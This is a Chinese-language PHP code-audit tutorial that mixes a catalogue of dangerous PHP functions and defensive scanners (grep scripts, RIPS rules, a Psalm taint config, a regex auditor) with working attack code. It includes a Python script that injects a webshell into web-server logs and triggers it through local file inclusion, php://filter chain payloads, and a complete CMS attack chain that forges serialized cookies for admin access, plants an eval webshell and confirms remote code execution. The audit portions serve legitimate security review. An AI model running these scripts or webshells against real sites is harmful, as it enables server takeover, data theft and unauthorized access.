PHP代码审计实战：危险函数追踪与漏洞利用

// 🔴 直接命令执行（高危）
system('whoami');
exec('id', $output);
passthru('cat /etc/passwd');
shell_exec('ls -la');
popen('uname -a', 'r');
proc_open(['/bin/sh', '-c', $cmd], $descriptors, $pipes);

// 🔴 反引号操作符 — 等价shell_exec
$result = `cat $filename`;  

// 🟠 间接命令执行
pcntl_exec('/bin/bash', ['-c', $cmd]);
dl('evil.so');  // 加载恶意扩展

// 🔴 eval——最危险的代码执行函数
eval("echo $user_input;");

// 🔴 assert——PHP 7.x中可执行代码
assert("file_get_contents('$url')");

// 🔴 动态函数调用
$func = $_GET['action'];
$func($arg);  // 可以调用任意函数

// 🔴 create_function — 内部使用eval
$lambda = create_function('$a', 'return system($a);');
$lambda('whoami');

// 🟠 preg_replace /e修饰符 (PHP<7.0)
preg_replace('/test/e', $_GET['code'], 'test');

// 🟠 call_user_func/call_user_func_array
call_user_func('system', 'id');
call_user_func_array($_GET['callback'], $_GET['args']);

// 🟠 反射API
$reflection = new ReflectionFunction($_GET['name']);
$reflection->invoke();

// 🔴 文件包含
include($_GET['page'] . '.php');  // 截断绕过
include 'lang/' . $_GET['lang'];   // 目录穿越
require($basePath . '/' . $file);
require_once($template);

// 🔴 文件读取
file_get_contents($_GET['url']);
readfile($path);
fread(fopen($_GET['file'], 'r'), filesize($file));
show_source($filename);
highlight_file($file);

// 🔴 文件写入
file_put_contents($path, $data);
fwrite($handle, $_POST['content']);
move_uploaded_file($tmp, $dest);

// 🟠 文件操作
unlink($_GET['file']);     // 任意文件删除
rename($old, $new);         // 文件移动
copy($src, $dst);           // 文件复制
mkdir($dir, 0777, true);   // 目录创建

// 🔴 无参数化查询——最常见注入点
$sql = "SELECT * FROM users WHERE id = {$_GET['id']}";
$result = mysqli_query($conn, $sql);

$sql = "SELECT * FROM articles WHERE title LIKE '%{$search}%'";
$stmt = $pdo->query($sql);

// 🔴 order by/group by注入
$sql = "SELECT * FROM users ORDER BY {$_GET['sort']}";
$sql = "SELECT *, COUNT(*) FROM table GROUP BY {$_GET['col']}";

// 🟠 PDO 模拟预处理（ATTR_EMULATE_PREPARES=true时）
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);  // 在某些配置下仍可多语句注入

// 🔴 unserialize — PHP反序列化漏洞入口
$obj = unserialize($_COOKIE['user_data']);
$obj = unserialize(file_get_contents('php://input'));

// 🟠 phar://协议反序列化
include 'phar://' . $_GET['file'];  // 触发phar反序列化
file_get_contents('phar://uploads/' . $name . '.jpg');

// 🟠 Session反序列化
// session.serialize_handler 不一致导致
ini_set('session.serialize_handler', 'php_serialize');
// ... session数据以不同处理器存储后触发

<?php
// 场景1：extract()未限定前缀
extract($_POST);  // 🔴 危险！
// 攻击者: POST auth=true 即可绕过认证

if ($auth) {
    echo "Admin Panel";
}

// 场景2：parse_str()无参数限制
parse_str($_SERVER['QUERY_STRING'], $output);
// 访问: /page.php?GLOBALS[a]=evil&_SESSION[auth]=1

// 场景3：$$双美元符号动态变量
$key = $_GET['key'];
$$key = $_GET['value'];  // 🔴 可覆盖任意变量

// 场景4：import_request_variables() (PHP 4-5.4)
import_request_variables('GP');

// 场景5：register_globals=On (PHP < 5.4，古老但CTF常见)
// $_GET['is_admin'] 自动注册为 $is_admin

<?php
// 某CMS后台鉴权代码（漏洞版本）
class Auth {
    private $login = false;
    private $admin = false;
    
    public function checkAuth() {
        // 从Session恢复用户状态
        if (isset($_SESSION['auth_data'])) {
            $data = unserialize($_SESSION['auth_data']);
            // 🔴 变量覆盖：extract数组
            foreach ($data as $k => $v) {
                $this->$k = $v;
            }
        }
    }
    
    public function isAdmin() {
        if ($this->login && $this->admin) {
            // 🔴 结合文件包含
            include '/templates/' . $_GET['template'] . '.tpl';
        }
    }
}

// 攻击链：
// 1. 构造恶意serialize数据: {"login":true,"admin":true}
// 2. 存入session或直接POST
// 3. 触发变量覆盖 -> 绕过认证
// 4. 通过文件包含实现RCE

<?php
// 典型漏洞代码
$language = $_GET['lang'];
include('lang/' . $language . '.php');
// URL: /index.php?lang=../../../../etc/passwd%00

#!/usr/bin/env python3
"""LFI via Apache Access Log to RCE"""
import requests

TARGET = "http://192.168.1.100"
LFI_PATH = "/index.php?lang="

# Step 1: 通过User-Agent写入Webshell到access.log
webshell_code = '<?php system($_GET["cmd"]); ?>'
headers = {
    "User-Agent": webshell_code
}

try:
    # 触发404确保日志记录
    resp1 = requests.get(
        f"{TARGET}/nonexistent_page_{id(id)}.html",
        headers=headers
    )
    print(f"[*] Step 1: Injected webshell via User-Agent")
    print(f"    Status: {resp1.status_code}")
    
    # Step 2: 通过LFI包含Apache日志文件
    # 常见路径：
    # /var/log/apache2/access.log
    # /var/log/httpd/access_log
    # /var/log/apache/access.log
    
    log_paths = [
        "../../../../var/log/apache2/access.log",
        "../../../../var/log/httpd/access_log",
        "../../../../var/log/apache/access.log",
        "../../../../var/log/nginx/access.log",
    ]
    
    for log_path in log_paths:
        resp2 = requests.get(
            f"{TARGET}{LFI_PATH}{log_path}%00&cmd=id"
        )
        
        if "uid=" in resp2.text:
            print(f"[+] Step 2: Found log at {log_path}")
            print(f"[+] RCE confirmed!")
            print(f"    Output: {resp2.text[:500]}")
            break
        else:
            print(f"[-] Tried {log_path}: No RCE")
            
except Exception as e:
    print(f"[-] Error: {e}")

#!/usr/bin/env python3
"""利用php://filter构造器生成链式过滤器"""
import base64

def chain_generator(filename):
    """生成php://filter链来读取任意文件并执行代码"""
    
    # 方法1：读取文件内容（Base64编码绕过）
    chain1 = f"php://filter/convert.base64-encode/resource={filename}"
    
    # 方法2：使用filter链实现代码执行（需要特定条件）
    # 利用iconv过滤器构造RCE payload
    chain2 = (
        "php://filter/"
        "convert.iconv.UTF8.CSISO2022KR|"
        "convert.base64-encode|"
        "convert.iconv.UTF8.UTF7"
        "/resource=php://temp"
    )
    
    # 方法3：嵌套filter读取源代码
    chain3 = (
        "php://filter/"
        "read=convert.base64-encode|"
        "convert.base64-decode|"
        "string.rot13|"
        "convert.iconv.UTF-8.UTF-7"
        f"/resource={filename}"
    )
    
    return chain1, chain2, chain3

# 使用示例
chains = chain_generator("../../etc/passwd")
print(f"[*] Read chain: {chains[0]}")

#!/bin/bash
# SQL注入Sink点搜索脚本

echo "=== SQL Injection Audit Script ==="

# 1. 搜索拼接查询
echo "[*] Searching for string concatenation..."
grep -rn '\$sql.*=.*".*\$' --include="*.php" . | grep -v "test" | grep -v "vendor"

# 2. 搜索危险SQL函数
echo "[*] Searching for dangerous SQL functions..."
grep -rn 'mysql_query\|mysqli_query\|pg_query\|mssql_query\|sqlite_query\|oci_parse' \
    --include="*.php" . | grep -v "vendor"

# 3. 搜索ORDER BY / GROUP BY动态拼接
echo "[*] Searching for ORDER BY injection points..."
grep -rn 'ORDER BY.*\$' --include="*.php" . | grep -v "vendor"

# 4. 搜索无参数的PDO query
echo "[*] Searching for PDO without prepared statements..."
grep -rn '\$.*->query(' --include="*.php" . | grep -v "vendor" | grep '\$'

# 5. 搜索二次注入
echo "[*] Searching for second-order injection..."
grep -rn 'serialize\|json_encode' --include="*.php" . | \
    grep -B5 'INSERT\|UPDATE' | grep -v "vendor"

<?php
// 漏洞场景：用户注册时存储恶意数据，后续查询触发注入

// 1. 注册时（数据存入数据库）
public function register() {
    $username = filter_input(INPUT_POST, 'username');
    $email = $_POST['email'];  // 🔴 未过滤
    
    // 存入时进行了转义
    $sql = "INSERT INTO users (username, email) VALUES (?, ?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$username, $email]);
}

// 2. 后续功能中重新取出使用
public function sendNewsletter() {
    $users = $db->query("SELECT email FROM users");
    foreach ($users as $user) {
        // 🔴 取出后直接拼接到UPDATE语句
        $sql = "UPDATE mail_log SET last_sent=NOW() 
                WHERE email='{$user['email']}'";  // 二次注入触发点
        $db->exec($sql);
    }
}

// 攻击payload（注册时）：
// email: admin@test.com' OR '1'='1
// 存入数据库后，第二次查询时注入触发

# RIPS是最经典的PHP静态代码审计工具
# 安装部署
git clone https://github.com/ripsscanner/rips.git
cd rips
# 配置web服务器后访问

# 命令行模式
php rips.php scan /path/to/project --verbose

# 自定义规则
# 创建 rules/custom.php

<?php
// 自定义RIPS审计规则示例
$GLOBALS['CUSTOM_RULES'] = [
    // 规则：检测extract危险使用
    [
        'name' => 'Extract without prefix',
        'function' => 'extract',
        'params' => [
            ['type' => T_VARIABLE, 'taint' => TAINT_ALL],
        ],
        'severity' => 'high',
        'description' => 'extract() called without EXTR_PREFIX_ALL flag'
    ],
    
    // 规则：检测未过滤的unserialize
    [
        'name' => 'Unfiltered unserialize',
        'function' => 'unserialize',
        'params' => [
            ['type' => T_VARIABLE, 'taint' => TAINT_ALL],
        ],
        'severity' => 'critical',
        'description' => 'unserialize() with user-controlled input'
    ],
];

<!-- psalm.xml 安全配置 -->
<?xml version="1.0"?>
<psalm 
    errorLevel="1"
    resolveFromConfigFile="true"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns="https://getpsalm.org/schema/config"
>
    <projectFiles>
        <directory name="src"/>
        <ignoreFiles>
            <directory name="vendor"/>
        </ignoreFiles>
    </projectFiles>
    
    <!-- Taint分析配置 -->
    <taintAnalysis>
        <safeFunctions>
            <function name="htmlspecialchars"/>
            <function name="strip_tags"/>
            <function name="intval"/>
        </safeFunctions>
    </taintAnalysis>
    
    <!-- 自定义安全规则 -->
    <issueHandlers>
        <TaintedInput errorLevel="error"/>
        <TaintedShell errorLevel="error"/>
        <TaintedSql errorLevel="error"/>
        <TaintedHtml errorLevel="error"/>
        <TaintedUnserialize errorLevel="error"/>
    </issueHandlers>
</psalm>

# 运行Psalm安全审计
vendor/bin/psalm --taint-analysis --show-info=true

# 输出示例：
# ERROR: TaintedShell - src/Controller/ApiController.php:42:22
#   Detected tainted shell command `shell_exec($userInput)`
#   $userInput originates from $_GET['cmd'] at src/Controller/ApiController.php:40

#!/usr/bin/env python3
"""PHP代码自动化审计扫描器"""
import re
import os
import json
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor
from dataclasses import dataclass, asdict

@dataclass
class Vulnerability:
    file: str
    line: int
    severity: str
    type: str
    code: str
    description: str

class PHPAuditor:
    # 危险函数模式
    DANGEROUS_PATTERNS = {
        "command_execution": {
            "pattern": r'(system|exec|passthru|shell_exec|proc_open|popen|pcntl_exec|`)\s*\(',
            "severity": "critical",
            "description": "命令执行函数"
        },
        "code_execution": {
            "pattern": r'(eval|assert|create_function|preg_replace.*\/e)\s*\(',
            "severity": "critical",
            "description": "代码执行函数"
        },
        "file_inclusion": {
            "pattern": r'(include|require|include_once|require_once)\s*\(?\s*\$',
            "severity": "high",
            "description": "文件包含-用户可控参数"
        },
        "sql_injection": {
            "pattern": r'(mysql_query|mysqli_query|->query)\s*\(\s*".*\$\w+',
            "severity": "high",
            "description": "SQL注入-字符串拼接"
        },
        "unserialize": {
            "pattern": r'unserialize\s*\(\s*\$',
            "severity": "high",
            "description": "反序列化-用户可控数据"
        },
        "variable_override": {
            "pattern": r'extract\s*\(\s*\$_(?:GET|POST|REQUEST|COOKIE)',
            "severity": "high",
            "description": "变量覆盖-extract"
        },
        "open_redirect": {
            "pattern": r'header\s*\(\s*[\'"]Location:\s*\.\s*\$',
            "severity": "medium",
            "description": "任意URL跳转"
        },
        "file_upload": {
            "pattern": r'move_uploaded_file\s*\(\s*\$_(?:FILES)',
            "severity": "medium",
            "description": "文件上传"
        },
        "ssrf": {
            "pattern": r'(file_get_contents|curl_exec|fopen)\s*\(\s*\$_(?:GET|POST)',
            "severity": "medium",
            "description": "SSRF-用户可控URL"
        },
    }
    
    def __init__(self, target_path):
        self.target_path = Path(target_path)
        self.vulnerabilities = []
    
    def scan_file(self, filepath):
        """扫描单个PHP文件"""
        try:
            with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
                lines = f.readlines()
        except:
            return
        
        for line_num, line in enumerate(lines, 1):
            # 跳过注释行
            stripped = line.strip()
            if stripped.startswith('//') or stripped.startswith('#') or stripped.startswith('*'):
                continue
            
            for vuln_type, config in self.DANGEROUS_PATTERNS.items():
                if re.search(config['pattern'], stripped, re.IGNORECASE):
                    vuln = Vulnerability(
                        file=str(filepath),
                        line=line_num,
                        severity=config['severity'],
                        type=vuln_type,
                        code=stripped[:120],
                        description=config['description']
                    )
                    self.vulnerabilities.append(vuln)
    
    def scan(self):
        """扫描整个项目"""
        php_files = list(self.target_path.rglob("*.php"))
        # 排除vendor目录
        php_files = [f for f in php_files if 'vendor' not in str(f)]
        
        print(f"[*] Scanning {len(php_files)} PHP files...")
        
        with ThreadPoolExecutor(max_workers=10) as executor:
            executor.map(self.scan_file, php_files)
        
        # 按严重程度排序
        severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
        self.vulnerabilities.sort(
            key=lambda v: (severity_order.get(v.severity, 99), v.file)
        )
    
    def report(self):
        """生成审计报告"""
        print(f"\n{'='*60}")
        print(f"  PHP Code Audit Report")
        print(f"  Total vulnerabilities: {len(self.vulnerabilities)}")
        print(f"{'='*60}\n")
        
        stats = {"critical": 0, "high": 0, "medium": 0, "low": 0}
        for vuln in self.vulnerabilities:
            stats[vuln.severity] += 1
        
        for sev, count in stats.items():
            emoji = "🔴" if sev == "critical" else "🟠" if sev == "high" else "🟡" if sev == "medium" else "⚪"
            print(f"  {emoji} {sev.upper()}: {count}")
        
        print(f"\n{'='*60}")
        print(f"  Detailed Findings")
        print(f"{'='*60}\n")
        
        for i, vuln in enumerate(self.vulnerabilities, 1):
            print(f"[{i}] {vuln.file}:{vuln.line}")
            print(f"    Type: {vuln.type} | Severity: {vuln.severity}")
            print(f"    Code: {vuln.code}")
            print(f"    Desc: {vuln.description}")
            print()
    
    def export_json(self, output_file="audit_report.json"):
        """导出JSON报告"""
        with open(output_file, 'w') as f:
            json.dump([asdict(v) for v in self.vulnerabilities], f, indent=2, ensure_ascii=False)
        print(f"[+] Report exported to {output_file}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_directory>")
        sys.exit(1)
    
    auditor = PHPAuditor(sys.argv[1])
    auditor.scan()
    auditor.report()
    auditor.export_json()

#!/usr/bin/env python3
"""CMS完整攻击链"""
import requests
import base64
import re

BASE = "http://target.com"
SESSION = requests.Session()

# Step 1: 注册账号获取基本权限
def register():
    resp = SESSION.post(f"{BASE}/register.php", data={
        "username": "attacker_001",
        "password": "P@ssw0rd123",
        "email": "attacker@test.com"
    })
    return "success" in resp.text

# Step 2: 反序列化绕过认证（Cookie中的user_data）
def auth_bypass():
    # 构造恶意序列化数据
    import php_serialize  # 需要pip install phpserialize
    payload = php_serialize.dumps({
        "login": True,
        "admin": 1,
        "user_id": 1,
        "group_id": 1
    })
    encoded = base64.b64encode(payload.encode()).decode()
    SESSION.cookies.set("user_data", encoded)
    
    # 验证提权结果
    resp = SESSION.get(f"{BASE}/admin/")
    return "Admin Panel" in resp.text

# Step 3: 通过模板编辑写入WebShell
def plant_webshell():
    webshell = '<?php @eval($_POST["x"]); ?>'
    resp = SESSION.post(f"{BASE}/admin/template_edit.php", data={
        "template_id": "1",
        "content": webshell,
        "action": "save"
    })
    return "saved" in resp.text.lower()

# Step 4: 验证Webshell
def verify_shell():
    resp = SESSION.post(f"{BASE}/templates/1.tpl", data={
        "x": "echo 'PWNED_' . php_uname();"
    })
    if "PWNED_" in resp.text:
        print(f"[+] Shell verified! Server: {resp.text}")
        return True
    return False

if __name__ == "__main__":
    print("[*] Starting attack chain...")
    
    if register():
        print("[+] Step 1: Registration successful")
    else:
        print("[-] Step 1: Registration failed")
        exit(1)
    
    if auth_bypass():
        print("[+] Step 2: Auth bypass successful (admin privs)")
    else:
        print("[-] Step 2: Auth bypass failed")
        exit(1)
    
    if plant_webshell():
        print("[+] Step 3: Webshell planted")
    else:
        print("[-] Step 3: Webshell upload failed")
        exit(1)
    
    if verify_shell():
        print("[✓] Full chain successful! RCE achieved.")
    else:
        print("[-] Step 4: Shell verification failed")